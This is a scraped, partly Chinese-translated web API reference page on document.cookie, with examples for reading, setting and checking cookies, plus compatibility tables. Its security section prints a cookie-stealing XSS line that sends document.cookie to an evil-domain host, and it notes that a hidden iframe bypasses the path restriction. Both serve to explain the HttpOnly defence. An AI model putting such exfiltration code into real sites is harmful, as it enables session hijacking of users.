Document
property
cookie
lets you read and write
Cookie
associated with the document. It serves as a getter and setter for the actual values of the cookies.
allCookies = document.cookie;
In the code above
allCookies
is a string containing a semicolon-separated list of all cookies (i.e.
key
=
值
pairs). Note that each
key
and
值
may be surrounded by whitespace (space and tab characters): in fact,
RFC 6265
mandates a single space after each semicolon, but some user agents may not abide by this.
document.cookie = newCookie;
In the code above,
newCookie
is a string of form
key
=
值
. Note that you can only set/update a single cookie at a time using this method. Consider also that:
encodeURIComponent()
to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).
__Secure-
Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.
__Host-
Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.
secure
属性。
document.cookie
是
accessor property
with native
setter
and
getter
functions, and consequently is
not
a
data property
with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.
document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
alert(document.cookie);
}
<button onclick="alertCookie()">Show cookies</button>
document.cookie = "test1=Hello";
document.cookie = "test2=World";
const cookieValue = document.cookie
.split('; ')
.find(row => row.startsWith('test2'))
.split('=')[1];
function alertCookieValue() {
alert(cookieValue);
}
<button onclick="alertCookieValue()">Show cookie value</button>
In order to use the following code, please replace all occurrences of the word
doSomethingOnlyOnce
(the name of the cookie) with a custom name.
function doOnce() {
if (!document.cookie.split('; ').find(row => row.startsWith('doSomethingOnlyOnce'))) {
alert("Do something here!");
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
}
<button onclick="doOnce()">Only do something once</button>
function resetOnce() {
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
<button onclick="resetOnce()">Reset only once cookie</button>
//ES5
if (document.cookie.split(';').some(function(item) {
return item.trim().indexOf('reader=') == 0
})) {
console.log('The cookie "reader" exists (ES5)')
}
//ES2016
if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
console.log('The cookie "reader" exists (ES6)')
}
//ES5
if (document.cookie.split(';').some(function(item) {
return item.indexOf('reader=1') >= 0
})) {
console.log('The cookie "reader" has "1" for value')
}
//ES2016
if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
console.log('The cookie "reader" has "1" for value')
}
It is important to note that the
path
attribute does
not
protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden
<iframe>
element with the path of the cookie, then accessing this iframe's
contentDocument.cookie
property. The only way to protect the cookie is by using a different domain or subdomain, due to the
same origin policy
.
Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HTTPOnly
cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about
Cookies and Security
.
The reason for the
syntax
的
document.cookie
accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance,
localStorage
):
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here]
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
| 规范 | 状态 | 注释 |
|---|---|---|
|
DOM (文档对象模型) 2 级 HTML 规范
The definition of 'Document.cookie' in that specification. |
过时 | 初始定义 |
| Cookie Prefixes | 草案 |
| 桌面 | 移动 | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
cookie
|
Chrome 1 | Edge 12 |
Firefox
1
|
IE 4 | Opera 3 | Safari 1 | WebView Android 1 | Chrome Android 18 |
Firefox Android
4
|
Opera Android 10.1 | Safari iOS 1 | Samsung Internet Android 1.0 |
完整支持
见实现注意事项。
Document
alinkColor
all
anchors
applets
bgColor
body
characterSet
childElementCount
children
compatMode
contentType
currentScript
defaultView
designMode
dir
doctype
documentElement
documentURI
documentURIObject
domain
domConfig
嵌入
fgColor
firstElementChild
forms
fullscreen
fullscreenEnabled
head
height
hidden
图像
实现
lastElementChild
lastModified
lastStyleSheetSet
linkColor
链接
location
mozSyntheticDocument
onabort
onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onauxclick
onbeforescriptexecute
onblur
oncancel
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncuechange
ondblclick
ondurationchange
onended
onerror
onfocus
onformdata
onfullscreenchange
onfullscreenerror
ongotpointercapture
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadend
onloadstart
onlostpointercapture
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onoffline
ononline
onpause
onplay
onplaying
onpointercancel
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerup
onreset
onresize
onscroll
onselect
onselectionchange
onselectstart
onsubmit
ontouchcancel
ontouchstart
ontransitioncancel
ontransitionend
onvisibilitychange
onwheel
origin
plugins
popupNode
preferredStyleSheetSet
readyState
referrer
rootElement
脚本
scrollingElement
selectedStyleSheetSet
styleSheetSets
timeline
title
tooltipNode
URL
visibilityState
vlinkColor
width
xmlEncoding
xmlVersion
adoptNode()
append()
caretRangeFromPoint()
clear()
close()
createAttribute()
createCDATASection()
createComment()
createDocumentFragment()
createElement()
createElementNS()
createEntityReference()
createEvent()
createExpression()
createExpression()
createNodeIterator()
createNSResolver()
createNSResolver()
createProcessingInstruction()
createRange()
createTextNode()
createTouch()
createTouchList()
createTreeWalker()
enableStyleSheetsForSet()
evaluate()
evaluate()
execCommand()
exitFullscreen()
exitPointerLock()
getAnimations()
getBoxObjectFor()
getElementById()
getElementsByClassName()
getElementsByName()
getElementsByTagName()
getElementsByTagNameNS()
hasFocus()
hasStorageAccess()
importNode()
mozSetImageElement()
open()
prepend()
queryCommandEnabled()
queryCommandSupported()
querySelector()
querySelector()
querySelectorAll()
querySelectorAll()
registerElement()
releaseCapture()
replaceChildren()
requestStorageAccess()
write()
writeln()
animationcancel
animationend
animationiteration
animationstart
copy
cut
DOMContentLoaded
drag
dragend
dragenter
dragexit
dragleave
dragover
dragstart
drop
fullscreenchange
fullscreenerror
gotpointercapture
keydown
keypress
keyup
lostpointercapture
paste
pointercancel
pointerdown
pointerenter
pointerleave
pointerlockchange
pointerlockerror
pointermove
pointerout
pointerover
pointerup
readystatechange
scroll
selectionchange
selectstart
touchcancel
touchend
touchmove
touchstart
transitioncancel
transitionend
transitionrun
transitionstart
visibilitychange
wheel
AbortController
AbortSignal
AbstractRange
Attr
ByteString
CDATASection
CSSPrimitiveValue
CSSValue
CSSValueList
CharacterData
ChildNode
注释
CustomEvent
DOMConfiguration
DOMError
DOMErrorHandler
DOMException
DOMImplementation
DOMImplementationList
DOMImplementationRegistry
DOMImplementationSource
DOMLocator
DOMObject
DOMParser
DOMPoint
DOMPointInit
DOMPointReadOnly
DOMRect
DOMString
DOMTimeStamp
DOMTokenList
DOMUserData
DocumentFragment
DocumentType
元素
ElementTraversal
Entity
EntityReference
事件
EventTarget
HTMLCollection
MutationObserver
节点
NodeFilter
NodeIterator
NodeList
NonDocumentTypeChildNode
ProcessingInstruction
PromiseResolver
范围
StaticRange
文本
TextDecoder
TextEncoder
TimeRanges
TreeWalker
TypeInfo
USVString
UserDataHandler
XMLDocument